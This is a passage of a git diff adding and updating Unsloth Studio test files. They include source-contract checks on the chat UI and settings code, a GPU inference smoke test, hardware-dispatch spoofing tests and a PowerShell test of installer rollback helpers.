+    assert ".unsloth-thinking-caret" in compact_rule
+    assert "display: none;" in compact_rule
diff --git a/tests/studio/test_chat_title_generation.py b/tests/studio/test_chat_title_generation.py
index 4f82b4ec03..6a47cfbce4 100644
--- a/tests/studio/test_chat_title_generation.py
+++ b/tests/studio/test_chat_title_generation.py
@@ -1,7 +1,7 @@
 # SPDX-License-Identifier: AGPL-3.0-only
 # Copyright 2026-present the Unsloth AI Inc. team. All rights reserved.
 
-"""Regression checks for Studio chat title generation context."""
+"""Regression checks for Unsloth chat title generation context."""
 
 from __future__ import annotations
 
@@ -65,6 +65,8 @@ def test_title_model_payload_includes_optional_assistant_reply():
     assert "if (assistant)" in block
     assert "parts.push(`Assistant: ${assistant}`);" in block
     assert 'parts.join("\\n")' in block
+    assert "enable_thinking: false" in block
+    assert 'reasoning_effort: "none"' in block
 
 
 def test_generate_title_passes_first_assistant_reply_after_first_user():
@@ -81,6 +83,25 @@ def test_generate_title_passes_first_assistant_reply_after_first_user():
     assert "assistantText," in block
 
 
+def test_tool_call_only_first_assistant_still_uses_first_user_message():
+    source = RUNTIME_TSX.read_text()
+    extract_block = " ".join(_balanced_block(source, "function extractTextParts").split())
+    generate_block = " ".join(_balanced_block(source, "async generateTitle(remoteId").split())
+
+    assert (
+        '.filter((p): p is Extract<typeof p, { type: "text" }> => p.type === "text")'
+        in extract_block
+    )
+    assert (
+        "const userText = extractTextParts(firstUser) || defaultTitle; const assistantText = extractTextParts(firstAssistant);"
+        in generate_block
+    )
+    assert (
+        "(await generateTitleWithModel({ userText, assistantText, })) || fallbackTitleFromUserText(userText);"
+        in generate_block
+    )
+
+
 def test_auto_title_disabled_uses_deterministic_user_text_fallback():
     block = _balanced_block(
         RUNTIME_TSX.read_text(),
@@ -93,12 +114,18 @@ def test_auto_title_disabled_uses_deterministic_user_text_fallback():
 
 
 def test_model_failure_still_falls_back_to_user_text():
-    block = _balanced_block(
-        RUNTIME_TSX.read_text(),
-        "async generateTitle(remoteId",
+    source = RUNTIME_TSX.read_text()
+    model_block = _source_until(
+        source,
+        "async function generateTitleWithModel",
+        "\nconst inflightTitleByKey",
     )
+    generate_block = _balanced_block(source, "async generateTitle(remoteId")
 
-    assert "})) || fallbackTitleFromUserText(userText);" in block
+    assert "finish_reason?: string | null;" in source
+    assert 'if (choice?.finish_reason === "length") return null;' in model_block
+    assert r"if (!raw || /<\/?think>/i.test(raw)) return null;" in model_block
+    assert "})) || fallbackTitleFromUserText(userText);" in generate_block
 
 
 def test_title_normalizer_still_enforces_output_constraints():
@@ -113,3 +140,4 @@ def test_title_normalizer_still_enforces_output_constraints():
     assert 'replace(/[.!?:;,]+/g, " ")' in block
     assert 'title.split(" ").filter(Boolean).slice(0, 6)' in block
     assert "joined.length > 60" in block
+    assert "return normalizeTitle(raw);" in block
diff --git a/tests/studio/test_cli_studio_stop_windows.py b/tests/studio/test_cli_studio_stop_windows.py
index 778679c73b..2267d7feda 100644
--- a/tests/studio/test_cli_studio_stop_windows.py
+++ b/tests/studio/test_cli_studio_stop_windows.py
@@ -5,7 +5,7 @@
 
 `stop` once used `os.kill(pid, 0)`, which raises WinError 87 on Windows before
 reaching taskkill; the fix adds cross-platform `_pid_alive` (tasklist on Windows,
-signal-0 elsewhere). AST + mock-only; no real processes, no Studio deps imported.
+signal-0 elsewhere). AST + mock-only; no real processes, no Unsloth deps imported.
 """
 
 import ast
diff --git a/tests/studio/test_compact_dropdown_submenus.py b/tests/studio/test_compact_dropdown_submenus.py
new file mode 100644
index 0000000000..a02b0d8254
--- /dev/null
+++ b/tests/studio/test_compact_dropdown_submenus.py
@@ -0,0 +1,41 @@
+"""Compact viewport contracts for nested dropdown menus."""
+
+from pathlib import Path
+
+
+REPO = Path(__file__).resolve().parents[2]
+DROPDOWN_MENU = REPO / "studio/frontend/src/components/ui/dropdown-menu.tsx"
+FRONTEND_SRC = REPO / "studio/frontend/src"
+
+
+def test_shared_submenu_uses_its_layout_width_on_mobile():
+    source = DROPDOWN_MENU.read_text(encoding = "utf-8")
+    assert 'import { useIsMobile } from "@/hooks/use-mobile";' in source
+    assert "element.offsetWidth" in source
+    assert "element.getBoundingClientRect().width" not in source
+    assert "new ResizeObserver(updateContentWidth)" in source
+    assert "isMobile && contentWidth > 0 ? -contentWidth : sideOffset" in source
+    assert "sideOffset={compactSideOffset}" in source
+    assert 'isMobile && contentWidth === 0 ? "hidden"' in source
+    assert "-248" not in source
+
+
+def test_shared_submenu_never_exceeds_the_compact_viewport():
+    source = DROPDOWN_MENU.read_text(encoding = "utf-8")
+    assert "max-w-[calc(100vw-32px)]" in source
+
+
+def test_consumers_do_not_duplicate_compact_offset_logic():
+    for path in FRONTEND_SRC.rglob("*.tsx"):
+        if path == DROPDOWN_MENU:
+            continue
+        source = path.read_text(encoding = "utf-8")
+        assert "compactSubmenuOffset" not in source, path
+
+
+def test_all_submenu_consumers_use_the_shared_primitive():
+    for path in FRONTEND_SRC.rglob("*.tsx"):
+        if path == DROPDOWN_MENU:
+            continue
+        source = path.read_text(encoding = "utf-8")
+        assert "DropdownMenuPrimitive.SubContent" not in source, path
diff --git a/tests/studio/test_desktop_reliability_frontend_contract.py b/tests/studio/test_desktop_reliability_frontend_contract.py
new file mode 100644
index 0000000000..868895b8f0
--- /dev/null
+++ b/tests/studio/test_desktop_reliability_frontend_contract.py
@@ -0,0 +1,131 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""Static contracts for focused packaged-desktop reliability behavior."""
+
+from pathlib import Path
+
+
+REPO = Path(__file__).resolve().parents[2]
+FRONTEND = REPO / "studio/frontend/src"
+NATIVE_FILES = FRONTEND / "lib/native-files.ts"
+CHAT_EXPORT = FRONTEND / "features/chat/utils/export-chat-history.ts"
+DATA_TAB = FRONTEND / "features/settings/tabs/data-tab.tsx"
+PROMPT_STORAGE = FRONTEND / "features/chat/prompt-storage/prompt-storage-dialog.tsx"
+
+APP_SIDEBAR = FRONTEND / "components/app-sidebar.tsx"
+THREAD = FRONTEND / "components/assistant-ui/thread.tsx"
+THREAD_SIDEBAR = FRONTEND / "features/chat/thread-sidebar.tsx"
+SHARED_COMPOSER = FRONTEND / "features/chat/shared-composer.tsx"
+TITLEBAR = FRONTEND / "components/tauri/window-titlebar.tsx"
+NATIVE_DIALOGS = REPO / "studio/src-tauri/src/native_file_dialogs.rs"
+
+
+APP_PROVIDER = FRONTEND / "app/provider.tsx"
+
+
+def test_file_actions_route_through_native_commands_only_in_tauri():
+    helper = NATIVE_FILES.read_text(encoding = "utf-8")
+    history = CHAT_EXPORT.read_text(encoding = "utf-8")
+    data_tab = DATA_TAB.read_text(encoding = "utf-8")
+    prompt_storage = PROMPT_STORAGE.read_text(encoding = "utf-8")
+
+    projects = (FRONTEND / "features/chat/projects-page.tsx").read_text(encoding = "utf-8")
+
+    assert 'invoke<string | null>("save_native_file", bytes, {' in helper
+    assert '"x-unsloth-default-name"' in helper
+    assert "Array.from(new Uint8Array" not in helper
+    assert 'invoke<NativeChatImport | null>("pick_native_chat_import")' in helper
+    assert "if (isTauri)" in helper
+    assert 'document.createElement("a")' in helper
+    assert "DownloadCancelledError" in helper
+    assert "throw new DownloadCancelledError()" in helper
+    assert "return savedPath !== null" not in helper
+
+    assert helper.index("if (isTauri)") < helper.index("  const blob =")
+    assert "downloadFile(" in history
+    assert "downloadFile(" in prompt_storage
+    assert "pickNativeChatImport" in data_tab
+    assert "if (!isTauri)" in data_tab
+
+    assert "pickNativeChatImport" in projects
+    assert "if (!isTauri)" in projects
+    # Browser builds retain the existing hidden-input route.
+    assert 'type="file"' in data_tab
+    assert 'accept=".jsonl,.ndjson,.csv"' in data_tab
+
+    native_dialogs = NATIVE_DIALOGS.read_text(encoding = "utf-8")
+    assert 'CHAT_IMPORT_EXTENSIONS: &[&str] = &["jsonl", "ndjson", "csv"]' in native_dialogs
+    assert "InvokeBody::Raw" in native_dialogs
+
+    assert ".tempfile_in(parent)" in native_dialogs
+    assert ".persist(&path)" in native_dialogs
+    assert "fs::write(&path, content)" not in native_dialogs
+
+
+def test_chat_exports_await_native_saves_and_markdown_uses_shared_helper():
+    app_sidebar = APP_SIDEBAR.read_text(encoding = "utf-8")
+    prompt_storage = PROMPT_STORAGE.read_text(encoding = "utf-8")
+    thread = THREAD.read_text(encoding = "utf-8")
+    thread_sidebar = THREAD_SIDEBAR.read_text(encoding = "utf-8")
+    shared_composer = SHARED_COMPOSER.read_text(encoding = "utf-8")
+
+    data_tab = DATA_TAB.read_text(encoding = "utf-8")
+    projects = (FRONTEND / "features/chat/projects-page.tsx").read_text(encoding = "utf-8")
+    assert "async function downloadBlob(" in prompt_storage
+    download_blob = prompt_storage.split("async function downloadBlob(", 1)[1].split("\n}\n", 1)[0]
+    assert "return downloadFile(" in download_blob
+    assert "catch (error)" not in download_blob
+    assert "isDownloadCancelled(error)" in prompt_storage
+
+    for source in (app_sidebar, thread, thread_sidebar, shared_composer, data_tab, projects):
+        assert "isDownloadCancelled(error)" in source
+    assert "const handleExport = useCallback(async () =>" in prompt_storage
+    assert prompt_storage.count("await export") >= 12
+    assert "await Promise.all(" not in app_sidebar
+    assert "for (const id of ids)" in app_sidebar
+    assert prompt_storage.count("await downloadBlob(") >= 5
+
+    assert "await downloadBlob(zipped," in prompt_storage
+    assert "new Blob([zipped]" not in prompt_storage
+    assert "Promise.all(ids.map((id) => fn(id)))" not in thread_sidebar
+    assert "for (const id of ids)" in thread_sidebar
+    assert "Promise.all(exportThreadIds.map((id) => fn(id)))" not in shared_composer
+    assert "for (const id of exportThreadIds)" in shared_composer
+    assert "onExport={exportMessageMarkdown}" in thread
+    assert '"text/markdown"' in thread
+    assert "downloadFile(" in thread
+
+
+def test_full_app_layout_uses_its_own_initialized_marker():
+    source = APP_PROVIDER.read_text(encoding = "utf-8")
+
+    assert 'invoke<boolean>("has_initialized_app_window_layout")' in source
+    setup_layout = source.split("async function showSetupWindow", 1)[1].split(
+        "async function enforceMinimumWindowSize", 1
+    )[0]
+    reset_call = 'invoke("reset_app_window_layout_initialized")'
+    assert reset_call in setup_layout
+    assert setup_layout.index(reset_call) < setup_layout.index("win.setSize")
+    assert 'invoke("mark_app_window_layout_initialized")' in source
+    assert "hasInitializedAppLayout && hasSavedState" in source
+
+
+def test_expanded_titlebar_button_and_corner_match_sidebar_edge():
+    source = TITLEBAR.read_text(encoding = "utf-8")
+
+    assert 'pinned ? "gap-2 pl-3" : "justify-center"' in source
+    assert "gap-2 px-3" not in source
+    assert "const contentBorderLeft = pinned" in source
+    assert ': "0px";' in source
+    # The curved transition and sidebar-colored backing are expanded-only;
+    # collapsed content is square and its divider spans the sidebar too.
+    assert source.count("{showSidebarSurface && pinned && (") == 2
+    assert (
+        'className="pointer-events-none absolute top-full size-3 -translate-x-px bg-sidebar"'
+        in source
+    )
+    assert (
+        'className="pointer-events-none absolute top-full size-3 -translate-x-px rounded-tl-[12px] border-l border-t border-sidebar-border bg-background"'
+        in source
+    )
diff --git a/tests/studio/test_frontend_dep_removal.py b/tests/studio/test_frontend_dep_removal.py
index fb1b5ace7b..aead44f0cd 100644
--- a/tests/studio/test_frontend_dep_removal.py
+++ b/tests/studio/test_frontend_dep_removal.py
@@ -37,10 +37,11 @@ class Case:
 CASES: list[Case] = [
     Case(
         "C1",
-        "removing next-themes breaks 2 src imports",
-        ["next-themes"],
-        "FAIL",
+        "removing next-themes is a no-op: replaced by the custom theme store, "
+        "no longer a declared dep or src import",
         ["next-themes"],
+        "PASS",
+        [],
     ),
     Case(
         "C2",
@@ -85,10 +86,11 @@ CASES: list[Case] = [
     ),
     Case(
         "C8",
-        "multi-remove with mixed safety: next-themes + @huggingface/hub + dexie all unsafe",
+        "multi-remove with mixed safety: next-themes is now a no-op (removed), "
+        "@huggingface/hub + dexie still unsafe",
         ["next-themes", "@huggingface/hub", "dexie"],
         "FAIL",
-        ["next-themes", "@huggingface/hub", "dexie"],
+        ["@huggingface/hub", "dexie"],
     ),
     Case(
         "C9",
diff --git a/tests/studio/test_gpu_inference_smoke.py b/tests/studio/test_gpu_inference_smoke.py
new file mode 100644
index 0000000000..a28166e1e0
--- /dev/null
+++ b/tests/studio/test_gpu_inference_smoke.py
@@ -0,0 +1,65 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""Fast, GPU-gated real-inference smoke.
+
+GitHub-hosted CI runners have no GPU, so this AUTO-SKIPS there; the full picker
+-> load -> chat flow is covered on CPU by tests/studio/playwright_model_config.py
+and studio-ui-smoke.yml. This test adds a quick real-generation check for local
+dev and self-hosted GPU runners: it loads the smallest model (gemma-3-270m-it)
+on the GPU and does a single short greedy generation, asserting a non-empty
+reply. Kept deliberately short (a handful of new tokens) so it is a confidence
+check, not a benchmark. Select/deselect it by name, e.g. `-k gpu_generation`.
+"""
+
+from __future__ import annotations
+
+import pytest
+
+torch = pytest.importorskip("torch")
+
+# Smallest instruct model in the CI fixture family; ~270M params loads and
+# generates a few tokens in seconds on any GPU.
+MODEL_ID = "unsloth/gemma-3-270m-it"
+# A handful of forced real tokens: enough to prove GPU decode produced content,
+# short enough to stay a few seconds.
+MIN_NEW_TOKENS = 4
+MAX_NEW_TOKENS = 16
+
+
+@pytest.mark.skipif(not torch.cuda.is_available(), reason = "requires a CUDA GPU")
+def test_gpu_generation_smoke():
+    try:
+        from transformers import AutoModelForCausalLM, AutoTokenizer
+    except Exception as exc:  # pragma: no cover - env without transformers
+        pytest.skip(f"transformers unavailable: {exc}")
+
+    # Gemma is numerically unstable in fp16 (it emits only <pad>); use bf16 where
+    # supported, else fp32. The model is tiny, so fp32 is still fast.
+    dtype = torch.bfloat16 if torch.cuda.is_bf16_supported() else torch.float32
+    try:
+        tokenizer = AutoTokenizer.from_pretrained(MODEL_ID)
+        model = AutoModelForCausalLM.from_pretrained(MODEL_ID, dtype = dtype).to("cuda")
+    except Exception as exc:  # offline / gated / download failure is not a code defect
+        pytest.skip(f"could not fetch/load {MODEL_ID}: {exc}")
+
+    model.eval()
+    messages = [{"role": "user", "content": "Say hello in one word."}]
+    inputs = tokenizer.apply_chat_template(
+        messages, add_generation_prompt = True, return_dict = True, return_tensors = "pt"
+    ).to("cuda")
+    prompt_len = inputs["input_ids"].shape[1]
+
+    with torch.no_grad():
+        output = model.generate(
+            **inputs,
+            min_new_tokens = MIN_NEW_TOKENS,
+            max_new_tokens = MAX_NEW_TOKENS,
+            do_sample = False,
+        )
+
+    # The model produced new tokens on the GPU (the real inference proof)...
+    assert output.shape[1] > prompt_len, "no tokens were generated on the GPU"
+    # ...and they decode to non-empty text (min_new_tokens forces real content).
+    reply = tokenizer.decode(output[0][prompt_len:], skip_special_tokens = True)
+    assert reply.strip(), "expected a non-empty GPU generation"
diff --git a/tests/studio/test_hardware_dispatch_matrix.py b/tests/studio/test_hardware_dispatch_matrix.py
index bccddac967..19619bc318 100644
--- a/tests/studio/test_hardware_dispatch_matrix.py
+++ b/tests/studio/test_hardware_dispatch_matrix.py
@@ -1,5 +1,5 @@
 # SPDX-License-Identifier: AGPL-3.0-only
-"""Studio hardware dispatch matrix: spoofs platform/torch/mlx per PROFILES to exercise CUDA/ROCm/XPU/MLX/CPU paths without real hardware."""
+"""Unsloth hardware dispatch matrix: spoofs platform/torch/mlx per PROFILES to exercise CUDA/ROCm/XPU/MLX/CPU paths without real hardware."""
 
 from __future__ import annotations
 
@@ -31,9 +31,9 @@ class HardwareProfile:
     mps_available: bool  # torch.backends.mps.is_available() value
 
     expect_is_mlx: bool  # unsloth._IS_MLX
-    expect_device_type: str  # Studio DeviceType (uppercased name: "CUDA"/"XPU"/"MLX"/"CPU")
-    expect_is_rocm: bool  # Studio IS_ROCM
-    expect_apple_silicon: bool  # Studio is_apple_silicon()
+    expect_device_type: str  # Unsloth DeviceType (uppercased name: "CUDA"/"XPU"/"MLX"/"CPU")
+    expect_is_rocm: bool  # Unsloth IS_ROCM
+    expect_apple_silicon: bool  # Unsloth is_apple_silicon()
     extra_notes: str = ""
 
 
@@ -66,7 +66,7 @@ PROFILES = [
         expect_is_rocm = True,
         expect_apple_silicon = False,
         extra_notes = "PyTorch ROCm reuses torch.cuda.* over HIP; "
-        "Studio still uses DeviceType.CUDA but flips IS_ROCM=True.",
+        "Unsloth still uses DeviceType.CUDA but flips IS_ROCM=True.",
     ),
     HardwareProfile(
         name = "intel_xpu",
@@ -154,7 +154,7 @@ def spoof_hardware(monkeypatch):
         import platform
         import torch
 
-        # platform spoof (used by both the unsloth gate and Studio's helpers)
+        # platform spoof (used by both the unsloth gate and Unsloth's helpers)
         monkeypatch.setattr(platform, "system", lambda: profile.system)
         monkeypatch.setattr(platform, "machine", lambda: profile.machine)
 
@@ -227,7 +227,7 @@ def spoof_hardware(monkeypatch):
 
             monkeypatch.setattr(importlib.util, "find_spec", _no_mlx)
 
-            # Studio's _has_mlx() does `import mlx.core`, not find_spec; block it
+            # Unsloth's _has_mlx() does `import mlx.core`, not find_spec; block it
             # with a meta_path finder that raises ImportError for mlx.*.
             class _BlockMLXFinder:
                 def find_spec(
@@ -266,7 +266,7 @@ def _evaluate_unsloth_is_mlx_gate() -> bool:
 
 
 def _import_studio_hardware_module():
-    """Lazy-load Studio's hardware module under the bare-imports layout."""
+    """Lazy-load Unsloth's hardware module under the bare-imports layout."""
     if str(STUDIO_BACKEND) not in sys.path:
         sys.path.insert(0, str(STUDIO_BACKEND))
     # Fresh import so detect_hardware re-runs under the current spoofs.
@@ -290,7 +290,7 @@ def test_unsloth_is_mlx_gate_matches_profile(profile, spoof_hardware):
 
 @pytest.mark.parametrize("profile", PROFILES, ids = PROFILE_IDS)
 def test_studio_detect_hardware_matches_profile(profile, spoof_hardware):
-    """Studio's detect_hardware() routes to the right DeviceType per profile."""
+    """Unsloth's detect_hardware() routes to the right DeviceType per profile."""
     spoof_hardware(profile)
     hw = _import_studio_hardware_module()
     detected = hw.detect_hardware()
@@ -306,7 +306,7 @@ def test_studio_detect_hardware_matches_profile(profile, spoof_hardware):
 
 @pytest.mark.parametrize("profile", PROFILES, ids = PROFILE_IDS)
 def test_studio_is_apple_silicon_matches_profile(profile, spoof_hardware):
-    """Studio's is_apple_silicon() helper agrees with platform spoof."""
+    """Unsloth's is_apple_silicon() helper agrees with platform spoof."""
     spoof_hardware(profile)
     hw = _import_studio_hardware_module()
     assert hw.is_apple_silicon() is profile.expect_apple_silicon, (
diff --git a/tests/studio/test_hf_token_validation_tick_contract.py b/tests/studio/test_hf_token_validation_tick_contract.py
new file mode 100644
index 0000000000..a381101801
--- /dev/null
+++ b/tests/studio/test_hf_token_validation_tick_contract.py
@@ -0,0 +1,28 @@
+"""Contracts for the Hugging Face token validation indicator."""
+
+from pathlib import Path
+
+
+REPO = Path(__file__).resolve().parents[2]
+GENERAL_TAB = REPO / "studio/frontend/src/features/settings/tabs/general-tab.tsx"
+VALIDATION_HOOK = REPO / "studio/frontend/src/hooks/use-hf-token-validation.ts"
+
+
+def test_success_tick_requires_the_current_token_to_be_validated():
+    source = GENERAL_TAB.read_text(encoding = "utf-8")
+
+    assert "tokenIsCurrent && tokenValidation.isValid === true" in source
+    assert 'tokenValidated ? "pr-14" : "pr-8"' in source
+    assert "{tokenValidated ? (" in source
+    assert 'aria-label={t("settings.general.tokenValidated")}' in source
+    assert 'aria-label={t("settings.general.tokenSaved")}' not in source
+
+
+def test_validation_result_must_belong_to_the_current_normalized_token():
+    source = VALIDATION_HOOK.read_text(encoding = "utf-8")
+
+    assert "const normalizedToken = token.trim()" in source
+    assert "useDebouncedValue(normalizedToken, 500)" in source
+    assert "if (!COMPLETE_HF_TOKEN.test(normalizedToken)) return INITIAL" in source
+    assert "if (completed.token !== normalizedToken)" in source
+    assert "if (completed.token !== debouncedToken)" not in source
diff --git a/tests/studio/test_install_rollback_lifecycle.ps1 b/tests/studio/test_install_rollback_lifecycle.ps1
new file mode 100644
index 0000000000..d70f384ca7
--- /dev/null
+++ b/tests/studio/test_install_rollback_lifecycle.ps1
@@ -0,0 +1,126 @@
+#!/usr/bin/env pwsh
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+# Unit tests for install.ps1's venv rollback helpers. The functions are AST-extracted
+# so the top-level installer is never executed.
+
+$ErrorActionPreference = "Stop"
+$installPath = [System.IO.Path]::Combine($PSScriptRoot, "..", "..", "install.ps1")
+$installPath = (Resolve-Path $installPath).Path
+
+$tokens = $null; $errors = $null
+$ast = [System.Management.Automation.Language.Parser]::ParseFile($installPath, [ref]$tokens, [ref]$errors)
+if ($errors) { $errors | ForEach-Object { $_.ToString() }; throw "install.ps1 has parse errors" }
+
+$helperNames = @(
+    "Start-StudioVenvRollback",
+    "Remove-StudioVenvTreeWithRetry",
+    "Test-StudioVenvRollbackMustBePreserved",
+    "Remove-StaleStudioVenvRollbacks",
+    "Restore-StudioVenvRollback",
+    "Complete-StudioVenvRollback"
+)
+foreach ($name in $helperNames) {
+    $fn = $ast.FindAll({ param($node)
+        $node -is [System.Management.Automation.Language.FunctionDefinitionAst] -and $node.Name -eq $name
+    }, $true)
+    if ($fn.Count -ne 1) { throw "expected exactly one $name in install.ps1, found $($fn.Count)" }
+    Invoke-Expression $fn[0].Extent.Text
+}
+
+function substep { param([string]$Message, [string]$Color) }
+
+$failures = 0
+function Check($name, $condition) {
+    if ($condition) { Write-Host "  PASS  $name" }
+    else { Write-Host "  FAIL  $name" -ForegroundColor Red; $script:failures++ }
+}
+
+function Reset-RollbackState($target) {
+    $script:StudioVenvRollbackDir = $null
+    $script:StudioVenvRollbackTarget = $target
+    $script:StudioVenvRollbackActive = $false
+}
+
+$StudioHome = Join-Path ([System.IO.Path]::GetTempPath()) "unsloth-rollback-$([guid]::NewGuid().ToString('N'))"
+$VenvDir = Join-Path $StudioHome "unsloth_studio"
+[System.IO.Directory]::CreateDirectory($VenvDir) | Out-Null
+
+try {
+    Write-Host "Successful replacement"
+    [System.IO.File]::WriteAllText((Join-Path $VenvDir "generation"), "old")
+    Reset-RollbackState $VenvDir
+    Start-StudioVenvRollback -ExistingDir $VenvDir
+    [System.IO.Directory]::CreateDirectory($VenvDir) | Out-Null
+    [System.IO.File]::WriteAllText((Join-Path $VenvDir "generation"), "new")
+    Complete-StudioVenvRollback
+    Check "new environment remains" ((Get-Content -LiteralPath (Join-Path $VenvDir "generation") -Raw) -eq "new")
+    Check "current rollback is removed" (-not @(Get-ChildItem -LiteralPath $StudioHome -Directory |
+        Where-Object { $_.Name -like "unsloth_studio.rollback.*" }))
+
+    Write-Host "Stale cleanup"
+    $stale = Join-Path $StudioHome "unsloth_studio.rollback.20000101000000.2147483647"
+    $active = Join-Path $StudioHome "unsloth_studio.rollback.20000101000001.$PID"
+    $unrecognized = Join-Path $StudioHome "unsloth_studio.rollback.user-data"
+    [System.IO.Directory]::CreateDirectory($stale) | Out-Null
+    [System.IO.Directory]::CreateDirectory($active) | Out-Null
+    [System.IO.Directory]::CreateDirectory($unrecognized) | Out-Null
+    Remove-StaleStudioVenvRollbacks
+    Check "dead-owner rollback is removed" (-not (Test-Path -LiteralPath $stale))
+    Check "live-owner rollback is preserved" (Test-Path -LiteralPath $active)
+    Check "unrecognized rollback name is preserved" (Test-Path -LiteralPath $unrecognized)
+    Microsoft.PowerShell.Management\Remove-Item -LiteralPath $active -Recurse -Force
+    Microsoft.PowerShell.Management\Remove-Item -LiteralPath $unrecognized -Recurse -Force
+
+    Write-Host "Failure restoration"
+    [System.IO.File]::WriteAllText((Join-Path $VenvDir "generation"), "old-again")
+    Reset-RollbackState $VenvDir
+    $committed = $false
+    try {
+        try {
+            Start-StudioVenvRollback -ExistingDir $VenvDir
+            [System.IO.Directory]::CreateDirectory($VenvDir) | Out-Null
+            [System.IO.File]::WriteAllText((Join-Path $VenvDir "generation"), "partial")
+            throw "simulated install failure"
+        } finally {
+            if (-not $committed) { Restore-StudioVenvRollback }
+        }
+    } catch {
+        if ($_.Exception.Message -ne "simulated install failure") { throw }
+    }
+    Check "finally restores the previous environment" (
+        (Get-Content -LiteralPath (Join-Path $VenvDir "generation") -Raw) -eq "old-again"
+    )
+    Check "failure restoration consumes the rollback" (-not @(Get-ChildItem -LiteralPath $StudioHome -Directory |
+        Where-Object { $_.Name -like "unsloth_studio.rollback.*" }))
+
+    Write-Host "Locked-file retry"
+    $retryDir = Join-Path $StudioHome "retry"
+    [System.IO.Directory]::CreateDirectory($retryDir) | Out-Null
+    $script:removeAttempts = 0
+    function Remove-Item {
+        param(
+            [string]$LiteralPath,
+            [switch]$Recurse,
+            [switch]$Force,
+            [object]$ErrorAction
+        )
+        $script:removeAttempts++
+        if ($script:removeAttempts -lt 3) { throw "simulated lock" }
+        Microsoft.PowerShell.Management\Remove-Item -LiteralPath $LiteralPath -Recurse:$Recurse -Force:$Force
+    }
+    try {
+        $removed = Remove-StudioVenvTreeWithRetry -Path $retryDir -Label "test rollback"
+    } finally {
+        Microsoft.PowerShell.Management\Remove-Item -LiteralPath Function:\Remove-Item -Force
+    }
+    Check "locked rollback deletion retries" ($removed -and $script:removeAttempts -eq 3)
+} finally {
+    if (Test-Path -LiteralPath $StudioHome) {
+        Microsoft.PowerShell.Management\Remove-Item -LiteralPath $StudioHome -Recurse -Force
+    }
+}
+
+Write-Host ""
+if ($failures -gt 0) { Write-Host "$failures check(s) FAILED" -ForegroundColor Red; exit 1 }
+Write-Host "All checks passed" -ForegroundColor Green
diff --git a/tests/studio/test_is_mlx_dispatch_gate.py b/tests/studio/test_is_mlx_dispatch_gate.py
index f31f6d1655..0e5de1b789 100644
--- a/tests/studio/test_is_mlx_dispatch_gate.py
+++ b/tests/studio/test_is_mlx_dispatch_gate.py
@@ -1,6 +1,6 @@
 # SPDX-License-Identifier: AGPL-3.0-only
 
-"""Regression tests for the CUDA-vs-MLX dispatch gates Studio relies on.
+"""Regression tests for the CUDA-vs-MLX dispatch gates Unsloth relies on.
 
 Two gates: (1) ``unsloth._IS_MLX`` (import-time, delegates to the zoo MLX
 runtime gate behind a local precheck barrier); (2)
@@ -147,7 +147,7 @@ def test_is_mlx_gate_false_on_non_apple_silicon():
 
 
 def _import_studio_hardware():
-    """Lazy import of the Studio hardware module (studio/backend on sys.path)."""
+    """Lazy import of the Unsloth hardware module (studio/backend on sys.path)."""
     studio_backend = REPO_ROOT / "studio" / "backend"
     if str(studio_backend) not in sys.path:
         sys.path.insert(0, str(studio_backend))
diff --git a/tests/studio/test_llama_cpp_wall_clock_cap.py b/tests/studio/test_llama_cpp_wall_clock_cap.py
index f173cfbc55..b7b6917092 100644
--- a/tests/studio/test_llama_cpp_wall_clock_cap.py
+++ b/tests/studio/test_llama_cpp_wall_clock_cap.py
@@ -1,4 +1,4 @@
-"""Timeout policy checks for Studio's local llama-server path."""
+"""Timeout policy checks for Unsloth's local llama-server path."""
 
 from __future__ import annotations
 
diff --git a/tests/studio/test_locale_root_direction_contract.py b/tests/studio/test_locale_root_direction_contract.py
new file mode 100644
index 0000000000..20d10aa805
--- /dev/null
+++ b/tests/studio/test_locale_root_direction_contract.py
@@ -0,0 +1,30 @@
+"""Regression guard for locale changes affecting the entire Unsloth layout."""
+
+from pathlib import Path
+
+
+REPO = Path(__file__).resolve().parents[2]
+LOCALE_STORE = REPO / "studio/frontend/src/i18n/locale-store.ts"
+MESSAGES = REPO / "studio/frontend/src/i18n/messages.ts"
+SONNER = REPO / "studio/frontend/src/components/ui/sonner.tsx"
+
+
+def test_locale_changes_do_not_force_document_direction():
+    src = LOCALE_STORE.read_text(encoding = "utf-8")
+    assert "document.documentElement.lang = locale" in src
+    assert "document.documentElement.dir" not in src, (
+        "locale changes must not force the root direction; html[dir] changes "
+        "third-party component layout, including Sonner close-button positioning"
+    )
+
+
+def test_locale_metadata_does_not_advertise_unused_layout_direction():
+    src = MESSAGES.read_text(encoding = "utf-8")
+    locales_block = src[src.index("export const LOCALES") : src.index("export type Locale")]
+    assert "dir:" not in locales_block
+
+
+def test_toast_close_position_does_not_inherit_root_direction():
+    src = SONNER.read_text(encoding = "utf-8")
+    assert '"--toast-close-button-start": "auto"' in src
+    assert '"--toast-close-button-start": "unset"' not in src
diff --git a/tests/studio/test_model_picker_contracts.py b/tests/studio/test_model_picker_contracts.py
new file mode 100644
index 0000000000..baf0fdf1bf
--- /dev/null
+++ b/tests/studio/test_model_picker_contracts.py
@@ -0,0 +1,444 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""Source-contract guards for the model-picker per-model-config feature.
+
+These are cheap, CPU-only, no-browser checks that read the frontend source and
+assert the specific fixes that got the predecessor PR reverted stay in place. If
+a future edit reverts one of them (e.g. rounds the context ceiling up again, or
+puts the HF token back in the URL), the matching assertion reddens. They pair
+with the runtime Playwright checks (which prove the behavior end to end) and the
+backend pytest checks (which prove the backend logic).
+"""
+
+from __future__ import annotations
+
+import re
+from pathlib import Path
+
+WORKDIR = Path(__file__).resolve().parents[2]
+FRONTEND = WORKDIR / "studio" / "frontend" / "src"
+
+
+def _read(rel: str) -> str:
+    path = FRONTEND / rel
+    assert path.exists(), f"missing source file: {path}"
+    return path.read_text()
+
+
+def test_models_api_sends_token_via_header_not_query():
+    """getModelConfig / checkVisionModel / checkEmbeddingModel must pass the HF
+    token through hubTokenHeader, never as a ?hf_token= query param (which leaks
+    the credential into server/proxy access logs)."""
+    src = _read("features/training/api/models-api.ts")
